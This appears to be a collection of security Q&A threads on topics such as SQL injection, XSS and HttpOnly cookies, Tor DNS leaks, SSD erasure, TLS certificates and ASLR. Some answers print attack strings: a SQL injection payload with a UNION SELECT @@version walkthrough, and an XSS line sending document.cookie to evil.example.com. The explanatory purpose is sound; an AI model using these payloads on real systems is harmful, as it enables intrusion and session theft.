How does Netsparker extract the version of SQL Server during a SQL injection? We are using netsparker cloud version
On last week when netsparker scan it detect SQL Injection Vulnerabilities.

However I am surprised as the injection query throw error for casting and the scanner has extract SQL server version information.

  microsoft sql server 2012 (sp3) (kb3072779) - 11.0.6020.0 (x64)
    oct 20 2015 15:36:27    copyright (c) microsoft
  corporation   web edition (64-bit) on windows nt 6.3 <x64>
  (build 9600: ) (hypervisor)

String used for injection

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

When form submitted in response server throw error for casting as below.

  Conversion failed when converting the varchar value '_!@2dilemma' to
  data type int.

Then I tried to look on web and I found below links but the do not have information how they extract data.

http://xss.cx/examples/netsparker/www.hmficweb.hinghammutual.com_80.htm

The variable @@version returns the current SQL Server version.

Examples here:

  Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64)

  Apr 2 2010
  15:48:46

  Copyright (c) Microsoft Corporation

  Enterprise Edition
  (64-bit) on Windows NT 6.0 (Build 6002: Service Pack 2)

Going back to basics, to manually find a SQL injection vulnerability you would inject something like

' OR '1'='1' UNION SELECT 1;--

into an input, which would make a query execute similar to the following

SELECT * FROM foo WHERE name= '' OR '1'='1' UNION SELECT 1;--'

This would combine the results from the original, altered query, with the results from the additional 1 value column.

However, you first need to make sure the number of columns you are selecting matches the original query. So you may need to change the 1 to 1, 2, 1, 2, 3, 1, 2, 3, 4, etc, until you get your values returned.

Once you get a valid result returned from the page that contains your injected values, you simply replace one of the injected values with @@version. e.g.

SELECT * FROM foo WHERE name= '' OR '1'='1' UNION SELECT @@version,2,3;--'


Could Common Vulnerabilities and Exposures (CVE) be used by the US government before being released? Since CVEs are centralised by MITRE, which is part of the US department of homeland security, I was wondering if some CVEs could be purposefully "delayed" before being communicated or even hidden from the public to allow the US intelligence services to exploit it before it is corrected.

It is very clear that governments (not just the USA) do indeed make use of known vulnerabilities. I doubt that, at least the majority, of CVE's are deliberately delayed other than the delay that is typically offered to the vendor to allow them to fix the issue before public release. CVE's are reported from a wide variety of sources and wouldn't easily be intercepted by governments.

However, there is a rather bigger issue in that there are 3rd parties who offer vulnerability bounties of $m's for provable exploits. These are far larger than the bug bounties typically offered by vendors. The vulnerabilities are often sold to governments and not released publicly.


I know where I downloaded a virus, should I report it somewhere I was installing pytool forge and accidentally downloaded virus (clicked wrong link). Should I report this link somewhere? Are there plans to create global virus police task force? I am sorry, it is broad and probably off topic, but what is the proper space to ask these type of questions?

Most antivirus companies have submission forms for malware where you can upload a sample: e.g. https://www.gdatasoftware.com/securitylabs

But in the end it really doesn't make a big difference, there is millions of different types of malware out there and AV companies will get most of their samples through automated collection through their products.

Unless you found the next Stuxnet (https://en.wikipedia.org/wiki/Stuxnet) reporting your malware sample isn't worth your time.


Why are cookies considered more secure against XSS? This article discusses storing session tokens in a cookie vs in localStorage: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

The article states:

  Cookies, when used with the HttpOnly cookie flag, are not accessible
  through JavaScript, and are immune to XSS.

However, if an injected script makes same-origin requests (e.g. API calls), the cookies get included with it. So it doesn't matter if JavaScript doesn't have access to it.

The end of the article states:

  Stormpath recommends that you store your JWT in cookies for web
  applications... HTML5 Web Storage is vulnerable to XSS...

Aren't cookies and localStorage both vulnerable to XSS? With cookies, the attacker can't fetch the cookie and store it, but that's not necessary anyway if you can authenticate using the cookie.

If there are non HttpOnly cookies present, and attacker could steal them using XSS similar to the following

<script>new Image().src='https://evil.example.com?+escape(document.cookie)'</script>

This is the most devastating attack if session tokens are not protected by the HttpOnly flag because the attacker can simply set the cookie in their browser to log in as the victim.

If the HttpOnly flag is set, yes they can still make AJAX requests using their injected script, however this is more tricky to accomplish and doesn't give the attacker full interactive control of the hijacked session.

XSS is always a greater threat than CSRF. Even with HttpOnly cookies, the attacker could display a login form which sends credentials to the attacker once submitted. Also, any forms that require a CSRF token can simply be retrieved by the XSS attack.


nmap no ping returns host is active and all ports are filtered I am trying to determine if hosts are up. For hosts where a ping fails, I run a Nmap (6.40) Regular and/or Quick Scan. For a subset of my hosts, the Nmap response is "Host seems down". As a follow up per the Nmap response, I run the no ping port scan -Pn.

For the -Pn scans, on the 10-15 different hosts I have tried, the response is always: Host is up. All 1000 scanned ports on x.y.z are filtered. Nmap was done: 1 IP address (1 host up) scanned in 205.37 seconds

My question is if the ports are in a filtered status, why is Nmap returning "Host is up"?. I would have guessed that the status returned would have been "Host seems up" or "Unknown". Has Nmap verified that the host is up, and if so, how does Nmap determine that the host is up?

These are the commands I executed:

nmap hostname => Regular Scan
nmap -T4 -F hostname => Quick  Scan
nmap -Pn hostname => No Ping Scan

Here is the relevant line from the command line help output ofnmap.

-Pn: Treat all hosts as online -- skip host discovery

The -Pn flag allows nmap to assume that the host is online because you told nmap that the host is online.


What Data Does an ISP Store? Sorry for being so general, but I know my ISP logs connections to others and all. I'm just questioning whether they keep any physical data that was over a HTTPS connection. Learned about how ISPs also "packet sniff", do they keep the data gained from sniffing packets when they want to overview the "log"?

They keep a log of data, so what can they see that was done previously data wise?

UPDATED

I cannot answer for every ISP or even most of them. I'll look at what they could store and talk about reasons you'll never really know what they actually store.

Bottom line: If this is a worry for you, then assume that yes. Your plaintext traffic is stored. And take measures to protect it.

TL;DR

What's an ISP

Broadband provider
Cell service provider
Coffee shop hotspot
Your ISPs upstream ISP
Your work ISP

What they can know.

IP Address - this is the connection information and required to make the internet work.
DNS requests - these are sent in plain text and many ISPs log this information.
HTTPS SNI - this is the subject name identifier information that's sent in plaintext when establishing an HTTPS connection.
They know who you are and where you are.
Any other plaintext traffic (eg http).
Amount of transferred data.

What they can store, but can't utilize:

HTTPS traffic - other than the SNI. It's encrypted and I don't know why they would store this.

Do they log it?

Probably. It's useful for making their service better, and it's easy money for them to do so. This depends on your TOS; however, I wouldn't trust your TOS.

An ISP may claim not to sell your data or to de-identify the data. But their upstream providers might. De-identification is not guaranteed to be effective. They may not understand they are selling it. They may be giving it away, storing it, or analyzing it to "improve your service," or "enhance your security."

GDPR is a great lever to feel safer, but the truth is logs are hard and mistakes happen.

Top google result:

Ars Technica Writeup

Summary

You use the internet in so many places that you should assume that someone's ISP is logging the information. Sure, they may claim to de-identify the data, but it's not guaranteed to be effective because it's hard to do right. They may claim to keep the data to better the service, improve performance, and the like. Often they sell the data to third parties that help them improve security.


finding bot generated traffic through object requested behavior I have network traffic details, which consist of client IPs accessing a web server. Alongwith that I have the session ids through which the client IPs access the web server. In the session details I have the objects which the client IPs access through the sessions.(objects combine to make a web page,for example there are 10 objects in a web page).

I want to find which are user generated requests and which are bot generated based on the manner in which objects are requested.

You have no guarantee that you can detect bot-net activity from object request behaviour, because ultimately it comes down to software - a user uses a web browser and a bot-net zombie can emulate this and a typical user browsing pattern if it desires.

Typically zombies will not be able to execute JavaScript and so may choose not to retrieve static scripts or even styles but then it depends what the zombie is doing. However if it wants to cause DoS then it may retrieve every resource on the page it can simply to generate more traffic.

So rather than looking at the specific objects requested, try building a pattern of the objects requested. Is the user in the same session following a typical browse pattern, e.g. their first request is of the home page, then the forums, read an article, etc.. The issue with this approach, if you are suffering from bot-net visitors, is your server may already be overwhelmed by the time you have enough data to start null-routing zombies.


Real-world applications of Differential Privacy? Differentially private techniques guarantee privacy while often
  permitting accurate answers

...this is something I have been reading up on lately as a means of preserving user privacy/anonymity. As of yet, however, I haven't found any examples of it being applied in a real-world setting. Instead, I am seeing it in academic papers, and discussed mathematically.

Is anyone aware of how exactly this would be applied to real-world data, or indeed, know of any examples? I'm finding it very hard to make the transition from reading about it, to how I might actually go about applying it. If nobody else is applying it then I doubt I have the skills to be the first and so don't want to waste my time flogging a dead horse.

Here is an article from Scientific American at the end of 2012 mentioning one real-world example-- 'OnTheMap' and references research into others:

http://www.scientificamerican.com/article/privacy-by-the-numbers-a-new-approach-to-safeguarding-data/

"One real-world application already uses differential privacy: a Census Bureau project called OnTheMap, which gives researchers access to agency data. Also, differential privacy researchers have fielded preliminary inquiries from Facebook and the federally funded iDASH center at the University of California, San Diego, whose mandate in large part is to find ways for researchers to share biomedical data without compromising privacy."


Best Security Conferences? Not sure if this question is too broad, if it is please let me know, we could probably turn it into a wiki.  I'm posting this as a reference for other users.

What would you say are the best security conferences to attend, and for what reasons?  I know defcon is considered the most popular US con, but that doesn't make it necessarily the most viable.  I'm not only looking for lists of cons, I'm also looking for posts that reflect personal experiences.  For example, I'm attending th0tcon this year, which is a relatively underground Chicago con that will most likely have a lot of cutting edge exploits from industry experts (probably due to its anonymous vibe, the location hasn't even been announced yet).  To sum, what cons would you recommend for what specific security areas and why?

In terms of academic conferences, the top conferences are:

IEEE Symposium on Security and Privacy
USENIX Security Symposium
ACM Conference on Computer and Communications Security (CCS)
Network & Distributed System Security Conference (NDSS)

For cryptography, there are other conferences (CRYPTO, EUROCRYPT, PKC, etc).

Microsoft Academic has a pretty good ranking based on citations and other metrics:

http://academic.research.microsoft.com/RankList?entitytype=3&domainID=2&last=0&start=1&end=100

(There are interesting changes to the ranking if you compare "All Years" to "Last 5 Years")


MS12-020: Remote Code Execution I'm doing some exercises in the lab. My vuln. scanner detects MS12-020 on a few machines.

The report indicates that this could be exploited to allow the execution of code remotely.

To me this would mean that there must be some way to upload a persistence module to it (if I'm wrong forgive my naivete, I'm only second year student).

However the only exploit available on metasploit performs a DoS by crashing the system. So far Google has only shown me results that do the same (DoS).

Can anything juicier be done with this vulnerability? Is there an exploit that actually allows the execution of some arbitrary code on the machine or is it only possible to make it crash?

At this stage there is only known DoS exploits available for it. There is no public exploit what will lead to remote code execution.


Does the Tor Browser leak a list of visited websites to TLD DNS services? Over here, it came up that the operator of a web service can find out the real IP address of a Tor Browser user by simply letting the user resolve a subdomain via a HTML element and logging who (source IP address) tried to resolve that subdomain on the web service's name server.

I don't see why Tor's strategy of resolving TLDs would be any different from its strategy of resolving subdomains.

I was under the impression (googled it some time ago) that resolving DNS is none of the Tor Browser's business and if we only take a look at the Tor Browser's traffic, in fact none of the business of any application on the user's computer. The Tor Browser would just request the document http://stackexchange.com/ from the used exit node γ through α and β (α being the entry node) and then once it got it see that in order to display the website, it needs the document http://stackexchange.com/topbar/get-unread-counts?_=1475324641346 so it would request that from γ through α and β. Finding out that the IP address of stackexchange.com is 151.101.1.69 would be the job of γ. Now, if the document http://stackexchange.com/ embedded the resource https://security.stackexchange.com/image.png, the Tor Browser of course wouldn't go about asking the name server of stackexchange.com what the IP address of security.stackexchange.com is and figure out that it's 151.101.129.69. This, again, would be the job of γ.

However, according to George Y., this isn't true. Instead, as I took it from him (please correct me if I misunderstood him), the Tor Browser asks the name server of stackexchange.com about the IP address of security.stackexchange.com, finds out that it's 151.101.129.69, and then requests http://151.101.129.69/image.png from γ. (Yes, of course the Tor Browser probably doesn't to that itself but instead asks the local nameserver which then iteratively resolves the DNS entry but this doesn't really matter because (in the case of IPv4) it doesn't change the IP address.)

Similarly, I think this would mean that for the initial request (let's assume the .com nameserver is already known and we don't need to go ask a root name server for it) of http://stackexchange.com/ would require the Tor Browser to first resolve stackexchange.com to 151.101.1.69 and then to request the document http://151.101.1.69 from γ.

If this is correct, this would mean that the operator of the .com nameserver can create a list of all websites which were visited by a user with a certain IP address. A state authority can force the operator of the .com nameserver to keep and share with it a log of requests consisting of the domain resolved and the source IP address. That state authority of course can also force the user's ISP to tell it who was assigned that IP when the request was made, therefore revealing which servers which user communicated with.

Is this true? If (hopefully) not, where is the mistake?

No, the Tor Browser never resolves hostnames itself. As you recognized, querying DNS servers directly would effectively allow an adversary to deanonymize you (a vulnerability known as DNS leak).

When your Tor Browser needs to open a new TCP connection, e.g. to load an embedded image over HTTP, you don't need to find out the IP yourself. The Tor protocol allows your browser to initiate the anonymized TCP stream giving the unresolved hostname. The exit node will then figure out the routing itself. This is also explained here.

I think the conversation you linked is just a misunderstanding about how Flash applets can theoretically bypass a Tor tunnel and lead to a leak.


Method for securely removing files from a solid state drive I've thought of a method for securely erasing single files on a solid state drive.  This method will work only if the drive is encrypted, and it will work even if someone cracks the encryption key for your drive.  There are basically two steps:

Delete the file the normal way.
Change your encryption key and re-encrypt your drive.

This way, even if your current key is compromised, e.g. through a cold boot attack, the attacker will not be able to get at the files you have deleted using this method.  Of course since you have to re-encrypt your entire drive, which takes a lot of time, this method is not useful for files that you will be encrypting and decrypting frequently.  But if you want to have an extra layer of security around a set of files that you only access every once in a while, this method might be a viable option.

So what do you think?  Is this a good method?  Or are there better methods of single file secure removal for solid state drives?

It is not necessarily a secure idea. Solid state drives have what is called overprovisioning space, which is a small amount of space that is accessible only to the hard drive firmware (FTL, or Flash Translation Layer), and is used for wear leveling. This means that, even when your hard drive shows 100% usage, there is still some amount which is unused. The specific sectors which are unused are randomly chosen by the FTL. Unfortunately, this also means that your master key as stored in the encryption header (e.g. your LUKS or TrueCrypt header) may not be wiped, even after you re-encrypt the whole drive. As a result, you would have to wipe the drive many times over and over, and even then, the chance that any given sector is erased is not guaranteed, it is only an increasing probability.

Solid state drives are notorious for hiding control from the operating system. You may be able to get a new open channel SSD, which is a type of SSD without an FTL (or with an extremely limited one) which defers things like wear leveling to the kernel. You may be able to tell the SSD to erase all sectors, and it will actually obey.

Many modern SSDs are support SED, which is hardware encryption used for the purpose of being able to quickly erase the drive. When you issue the ATA Security Erase command, instead of slowly wiping the whole drive, these SED drives simply wipe the encryption key (which is stored in a special area of the drive not subject to wear leveling), rendering all the data on the drive useless). Obviously the key does not provide data at rest security, as it is only used to wipe data more quickly than it could have otherwise. You can use the hdparm tool to check if your SSD supports SED. Run "hdparm -I /dev/sdX | grep 'min for'", with X being the SSD's label. If the number of minutes is very small for either of the options it displays (usually 2, I believe), then your drive supports SED.

If your drive does not support SED, and you do not have a hard disk drive which you could store a key on that you could wipe directly when you want to erase the SSD, you could try to implement a sort of poor-man's SED in a hackish way using NVRAM. On most motherboards, your CMOS RAM (also called NVRAM) is a small amount of non-volatile memory, or sometimes EEPROM, which contains BIOS configuration information. It can be exported to /dev/nvram when the nvram module is loaded. It's usually 144 bytes in size (if it's exactly that size, it means it is NVRAM. If it is larger, it means it is probably EEPROM), but the majority of it is unused. If you can identify the unused portions, which is possible with some tools, or by understanding the format, you can write to it directly at /dev/nvram. Because this area is battery-backed by the CMOS battery (that little button battery on your motherboard that also powers the RTC), it persists across reboots. But because it's not flash, it can be erased instantly and securely. You can easily store a 128 or 256 bit key in there, which could added to your own encryption key to encrypt your main SSD partition. If you ever need to erase it completely, you can just erase the key in /dev/nvram, and it would render data on the SSD inaccessible.

The moral of the story is: FTL is a bitch. Don't trust SSDs, they hide things from you.


Printing document on usb drive with confidential information on multi user computer I have a pdf file with confidential information on a usb flash drive. This document needs to be printed on a multi user Ubuntu system. I want to prevent other users from seeing the content of the document.

Assume the following procedure:

The usb drive is inserted to the computer and mounted.
The document is opened with okular or evince and printed directly from the program.
The usb drive is unmounted and removed from the computer.

Question: What do I need to do to wipe any traces / copies of the document I printed?

First idea: I guess /tmp would be a good place to look out for - though I do not know if there will be any copies stored there or at other places. Do I have to do additional steps to remove all traces / copies?

Further information: It is a local printer. Both me and other users have root privileges.

You can just use lpr to send the PDF file from USB stick directly to the printer spooler. But then it gets ugly: The printer spooler (cups) itself first will have a copy of this file somewhere below /var/spool/cups. Depending on the setup and printer driver used there will be further processing of the PDF file to translate it into something the printer then can understand (i.e. PCL or others). This processing will likely also create additional files, maybe below /var/spool/cups too but maybe also in /tmp or /var/tmp or other places.

Most of these files will be deleted once the processing or printing is done which means that there is no way to access these specific files afterwards for secure deletion. All you could try to do is to make sure nothing on the system at all can be undeleted by using tools like sfill. It might be though that the system is specifically configured to keep copies of some of these files for audit or debug purposes. In short: it is a mess.

And this already assumes that the other users on the system who all have root access will not have tampered with the system in order to find out what others print. In my opinion this kind of assumption is questionable since users who are willing to put lots of effort (and luck) into restoring deleted files are likely willing to change the configuration to keep files "for debugging printer issues" too.

In other words: don't print sensitive data on a system where you fear that other users on the system might be interested in what you print and have the capabilities (root access) to find out.


How are CVE identifiers assigned and managed? CVE Identifiers (a.k.a. CVE IDs) are used to uniquely identifier a particular vulnerability. We've all seen them on various bulletins, and they're useful when researching an issue. But how are they assigned? What process is involved in getting a CVE ID for a bug, and how does the vendor fit in with that process? Can anyone ask for a CVE ID on a whim, or is some evidence or detail required?

There are multiple ways to obtain a CVE.

One could contact one of the CVE Numbering Authorities (CNA), an emergency response team (think CERT) or the CVE project. If the vendor of a product is listed as a CNA you must contact the vendor to obtain a CVE.

Sufficient information must be provided to allow the CVE assigner to take a decision (provide the CVE, merge with other CVEs etc).

For more information see http://cve.mitre.org/cve/request_id.html and http://cve.mitre.org/cve/cna.html#researcher_responsibilities

Some vendors such as Drupal will request CVE identifiers in bulk via openwall for published security announcements that do not already have a CVE requested by the researcher.


Rename important files to any file type to protect from ransomware Is it a good solution that rename an important files to a new file type that only owner od the file know? like Data.Rar rename it to Data.BEATURAN, so it will become BEATURAN File and just rename extension back to it original known file .Rar when need it at a safe place?

Thanks in advance.

De facto, many ransomware variants target specific file types that promise to be valuable to the owner (text documents, images, etc.). This way the ransomware can operate more efficiently and doesn't risk the stability of the host system by accidentally encrypting system files. Hence, it's plausible that randomly renaming the extensions of important files could eventually leave them unencrypted in case of an attack.

But I'd advise against doing that because it's basically a security by obscurity pattern: You focus on an obscure hiding technique instead of preventing malware infections in the first place. Ransomware developers can take other approaches to determine the real file type (content sniffing) and not all ransomware encrypts solely based on extensions. Instead, your time is best spent at making sure your run a fully patched system and do regular backups.

You can find many ransomware threads with great advice on the site, e.g.:

Techniques to detect & mitigate Crypto-ransomware?
How does ransomware get on people's computers?
What is a good backup strategy against ransomware?


Can F5's Big-IP ASM protect against CSRF for AJAX calls? I know that F5's Big-Ip ASM offers protection against CSRF regarding links and forms.

However, when it comes to AJAX calls their documentation is somewhat ambiguous. I understand that they DO NOT support CSRF in the context of AJAX calls, but I have no prior experience with this particular system.

I clearly understood that protections are offered regarding AJAX calls, but is CSRF one of those? Or is CSRF only for forms and inline links?

It will depend on what F5 software version you have. In the past, ASM only operated by injecting the token in fields on static HTML POST forms, and could not address other kinds of request or client-side-scripting-driven interactions.

It looks like more recently the CSRF feature can now inject client-side script to:

Apply the CSRF token to GET forms and plain links. This is a really bad idea—you don't want to leak your CSRF tokens in URLs.
Frob the XMLHttpRequest prototype to inject a fixed-value custom header X-TS-AJAX-Request: true to bypass CSRF protection. This is workable but custom headers are the poor man's solution, compared to proper tokens; they have been vulnerable to edge-case attacks like that from Flash in the past.

These features, like much of what ASM does, are useful as a last-ditch/temporary workaround for when you have to deploy applications you know are insecure but you don't have the ability or permission to fix them properly. But if you can, it is much more reliable to address the problem in the application itself.


Do video cards store any personal information? Should they be destroyed when getting rid of them? I realize this question sounds a bit ridiculous but I figured it couldn't really hurt to ask.  I am in the process of getting rid of some old computers of mine, and I know that I need to destroy the hard drives.

With this in mind, I also need to get rid of an AMD Radeon graphics card that came with a Dell PC I bought in 2012.  It's quite large and the thought crossed my mind- could this also contain some of my personal information? Do I need to destroy this along with my old hard drives?

No, video cards don't retain any personal information. You can get rid of them without problems.

Hard drives are made to store information, so you need to properly dispose them. Video cards are not information storage devices, so all information they have are related to their jobs, and its most firmware. They don't store anything else.


Beef on Multiple Campaigns I use the Autorun Rule Engine (ARE) in BEEF to run some some targeted modules upon being hooked and this works great, but how about if I want to run two separate campaigns?  Those sent to webpage A get one set of Autorun Rules and those sent to webpage B get another set of Autorun rules.  Can you set up flags some how in the page JS configuration that could be leveraged in the ARErules .JSON file logic?

I left time to see if any other answer to this. Finally, it seems I'm not wrong on my comment. I found on BeEF docs this: https://github.com/beefproject/beef/wiki/Autorun-Rule-Engine#matching

So you can set rules for browser A or operating system B, but not possible to set rules for surfing on website A and others for website B. So the answer is no, you can't as I said time ago in the comments. You need two BeEF to do that.


Obtaining .p12 certificate from PEM file and CRT file provided by GoDaddy A few months ago a colleague who left generated a CA certificate from GoDaddy. I am not sure the exact steps he took but currently we would like to install the CA certificate on a server to fully comply with EFRIS regulations which mandate that clients should transition from self-signed certificates to CA certificates within 3 months of go-live.
Somehow he was able to generate the .p12 private certificate. I suspect he used a desktop application called Keystore Explorer but he set a password on the certificate so I can't use it because I don't know it.
I was able to access the godaddy website and downloaded the original certificate files provided by GoDaddy CA. They are a PEM file, a CRT file and two other files called bundle files.
My wish is to generate the relevant .p12 or .pfx or .jks private certificate out of these PEM and CRT files but I don't know how. I think the public certificate will still be the .crt file.
When I tried to use Keystore Explorer to generate the private key PKCS file, I was able to generate it but it did not have the private key in it and the server gave an error telling me that the private key is missing from the .pfx file. I am not sure what this private key is supposed to be. Is it something I should already have?
I have tried to google for ways to convert a PEM file to a PKCS file but the guides have been so far unclear. For now I am reading this SSL stackexchange post to find out how SSL works. Any help will be greatly appreciated.

Based on the comments following the question, it seems that you do not have the private key that corresponds with the public key in the certificate files that you have.  Without the private key, the certificate is not of much use, as clients will not be able to complete an SSL/TLS handshake with a server secured with this certificate without the server having the private key.  See Could a stolen certificate show as trusted? for more info.
If you do not have the private key that the certificate originated from, then you may need to start over, by generating a new private key, then creating a certificate signing request (CSR) from this private key, then submitting the CSR to a certificate authority (CA) who will issue and sign the certificate.  These steps can all be completed using openssl.
Many CA's (e.g. Comodo, GeoTrust, etc.) charge less than $10.00 USD for a one-year certificate, so loosing the private key is not a outrageously costly mistake.  LetsEncrypt even offers free certificates.  Also, some CA's will let you re-key an existing certificate in the event that the private key is lost or stolen.  This basically amounts to the CA revoking the old certificate, and issuing a new certificate for the remaining life of the old certificate, where the new certificate is derived from a new private key.
Whichever route you go, the CA will probably issue the new certificate in PEM or CRT format.  If your server requires the certificate in PKCS#12 or PFX fornat, you can use openssl pkcs12 to convert it.  See https://www.openssl.org/docs/man1.1.1/man1/pkcs12.html for more info.


ASLR in Linux does not randomize libraries separately I was trying out how ASLR works in Centos 7.2.1115 x86_64 specifically.

Here are my /proc/$pid/maps dumps from two runs of Firefox (on Pastebin):
#1
#2

Basically, ASLR works. It randomizes .data and .text offsets.

However, it packs all libraries and executable in the same order and without gaps. (Well, mostly. There are couple variations, but they look purely accidental.)

So, as soon as single address gets compromised, this whole part of ASLR goes out of the window.

My question is, is it the common case as of now? What systems address this issue and how?

I mean, 64-bit address space is huge, you could just randomly throw each library at it and then check if it overlaps with anything, and successfully place it after a couple retries at most. Yet, the best already implemented solution I found by googling is library load order randomization on Android.

However, it packs all libraries and executable in the same order and without gaps. So, as soon as single address gets compromised, this whole part of ASLR goes out of the window.

Not quite. ASLR still works for reducing the chances of blind exploitation, helping to prevent an attacker from reliably jumping to an execution point. If you don't know a particular point to overwrite, then your next tactic is to NOP sled nearby memory anyway. Coupled with the starting address being randomized, you're just as likely to pick something off in never-land as useful code regardless of fragmentation.

  I mean, 64-bit address space is huge, you could just randomly throw each library at it and then check if it overlaps with anything, and successfully place it after a couple retries at most.

True, but that incurs a performance issue. Every randomization entry is going to require an entry in the TLB, resulting in higher resource utilization and more wasted / unused memory due to block alignment.

  My question is, is it the common case as of now? What systems address this issue and how?

For the reasons state above, it is indeed the common case. Understanding the limitations of the attack helps with understanding why using the more expensive "bits of memory  everywhere" has limited benefit.

A bonus point: the most common exploitation is writing too much data to a data block, then executing it. The NX bit is also a substantial countermeasure.


Defeating audio spyware with low-tech Malware can target camera and microphone and make them secretly record what's going on around the laptop. However, defeating camera spyware can easily be done with a piece of tape, something the FBI chief recommends people to do.

But, is there any similar low-tech, preferably foolproof and reasonable approach to protecting against spyware audio recording? Physically removing the microphone? Wrapping tin foil around the laptop? (I'm using Windows.)

A similar question exists, but it concerns Linux only.

In a VICE interview Snowden removes a mobile phones internal speakers, then plugs a headphone set in when he wants to actually have a conversation.

Short of precision de-soldering you could try to jam it up with something, I don't believe new microphones in laptops and mobile phones have a diaphragm but you could at least muffle the speaker by pushing glue up against it.

Some laptops and mobile devices may on a hardware level disable the on-board microphone when an external line in is plugged in to the microphone jack, so you could plug in a dummy microphone to stop it listening.


What are the benefits (if any) of changing TLS certificates frequently? As I understand it, a certificate is used only for verifying the identity of the server. Are there any security benefits for changing them frequently (once a week for example)?

If this is done so that a new symmetric key can be negotiated for each session (for perfect forward secrecy (PFS), say), can't it be done without needing to change the certificate? Am I misunderstanding how certificates are used?

Renewing the certificate has no benefit, except if you use it as a substitute for revocation. Normally, a certificate is issued by the CA for some time (say, one or two years); to cope with abnormal conditions (e.g. the private key was stolen), the CA will regularly publish a list of "revoked certificates". A revoked certificate which looks good cryptographically (it is properly signed and all), but must nonetheless be rejected because the CA says it so. Revocation status check entails downloading the current CRL, verifying its signature and looking at its contents; this is bulky and cumbersome, and a lot of SSL clients (say, Web browsers) are tempted not to download CRL. If the certificates are very short-lived, then not checking revocation status can be tolerated: the CA, presumably, would not renew a certificate that it would consider as revoked.

This is an edge case. Usually, it is considered that the overhead of renewing certificates every week outweighs the cost of publishing and processing a new CRL every week.

Renewing the private key may have benefits. Remember that the certificate contains only the public key, so "renewing the certificate" does not necessarily imply changing the private and public keys; the CA could just take the existing certificate, change the validity dates, and resign it. But if the private key is changed, then so is the public key; changing the private key thus implies obtaining a new certificate.

Using a new private key may help in achieving a reduced form of Perfect Forward Secrecy. The issue that we want to deal with is the possibility of theft of the server's private key after the key was used. If the attacker records a TLS session, then, at a later point, steals the private key, then he may decrypt the session that he previously recorded.

Renewing the private key will grant you PFS insofar as the previous key is destroyed; it is not the obtaining the new key which grants PFS, but deleting the old one. Presumably, once deleted, the old key can no longer be stolen. This must be taken with a grain of salt, though: during the week the private key was active, it was stored on a physical medium (the hard disk), and really deleting data from physical mediums is tricky. It may also have been copied to some backup tapes or something similar.

SSL/TLS has a better way to obtain PFS. You get PFS by using one of the "DHE" cipher suites. With these cipher suites, the server's private key (the one corresponding to the server's certificate) is used only for signatures; the actual key for encryption (precisely, for key exchange) is a dynamically generated DH key pair, which the server never stores; the server keeps the private key in RAM only, for a few seconds. Since the key is never written to a file, it is much less susceptible to ulterior theft.

The symmetric key has nothing to do with PFS. In SSL/TLS, you always get a new symmetric key from each handshake: client and server send random values to each other, and these values enter in the computation of the symmetric encryption keys. PFS is not about using a new symmetric key; it is about not storing the asymmetric private key which would allow for reconstruction of the symmetric key (the DH private key for a DHE cipher suite, the RSA private key for a RSA cipher suite).

For a primer on how SSL works, read this answer.


hiding emails in database I am making a webpage (similar to a social media) which will be open-source, but will probably only run off one server, with multiple levels (php, javascript(hopefully without any modules), postgresql).

Now I have read somewhere, that it is a good idea to have your database designed in such a way, hat even if someone gets hold of it, they can't get at sensitive info (password, etc.).

However, as far as I know, the GDPR classifies email addresses as sensitive/personal info, so that should be protected as well. Since I will be sending confirmation and notification emails, a hash will not be good, and I have no idea where I should encrypt the email addresses: If at a php level, I will either have a hard-coded key (BAD) or a configuration file with a key in it (more problems). I have been told that I can do it at a database level but if I'm protecting them against the database being stolen, wouldn't that also steal the encryption key?

What is the proper way to keep emails hidden even if the database is compromised?

You do not need to encrypt the email field in your database to comply with GDPR. It is not sensitive info, but just personal.

Passwords and emails are simply not in the same classification of data.

GDPR is not concerned with protecting the data if someone gets their hands on the database. It is concerned with preventing someone getting access to the data who should not be and making sure that those who are authorised should have access at all.

Special category data needs extra protection, including encryption, but GDPR is concerned with the normal operation of the system.

Protect the data as you would all other personal data in the system.

If your database is compromised, you will get in trouble with the ICO because you got compromised and all the other personal data was exposed. Emails will not be a special concern.


Client requiring our SSL Private Key to configure the Load Balancer that reaches our server. Makes sense? I'm facing an unusual situation, I hope you can clarify this for me.

We manage some applications that are accessible through HTTPS requests on port 443 of our server X.

We have a new client that is also supposed to reach us through our 443 port on server X. However the client is going to use some kind of Load Balancer (proxy + snat according to them) to do that.

So that the Load Balancer can connect to us, the client is requiring our pair of Public Certificate + Private key, otherwise the Load Balancer would reset connections with us due to key pairs mismatch.

This is completely nonsense for me as the private should be simply private, I can't share it. It is against every security policy I know.

Curious part is that they provided some documentation that seems to state exactly this. This is the link:

https://support.f5.com/csp/article/K13393

It seems they use some technology called Big IP and it requires the private key according to this statement on the above link:

Recommended Actions
You can rectify this error by configuring the affected SSL profiles with the certificate key pair that is presented by the destination server. To do this, perform the following procedures ...

Has any one you faced any similar situation to this?

Even their technology really requires it, I'm not aware about any 'API' provided by HTTPS that would handle traffic previously ciphered by a Load Balancer, so I'm pretty confuse.

Every kind of clarification is useful. Thanks everyone.

It appears they're using the F5s SSL Proxy capability, which means that the F5 appliance isn't your application's client (they're not terminating at the appliance, but passing through) but instead gives them the ability to decrypt the the traffic to determine if if can be cached and re-used to improve performance.  E.G., if they can cache some things at their edge, they can serve it back to their users without having to make additional full round trips back to your origin servers.  If they can't decrypt the traffic, they can't cache it.

This, as you clearly know, has security implications.  If they insist on this architecture, and the data and risk are theirs and theirs alone, then you need a certificate specific for their application that is not shared to protect the data of any of your other customers.   You can then install the cert on the application servers you host for them, and they can install it on their F5, and as long as their is no opportunity for the cert to accidentally be used for your other customers, then there's very little risk to you.

IF, however, your application is not designed to allow for them to be separated in such a way, and the certificate cannot be isolated for their use only, then in my opinion, you must decline.   You cannot give them a key that would allow them to potentially access other customers data under any circumstances.


Time to crack passphrase of 4 English word combinations at 7 terahashes/sec This site suggests using 4 common English words as a password is no longer safe.

Apparently the top 5000 English words in any combination of 4 words can be hashed in 1.5 minutes at 7Thash/sec.

The article didn't mention the hashing algorithm - but this is worrying.

Can anyone validate what this article is saying? I have a feeling they were talking about straight MD5 hashes. Also, how long for all the English word combinations - not just the top 5000? I couldn't quite do the math but came up with 8.6×1020 combinations.. I don't know how long that'd work out at.. a long time at a guess?

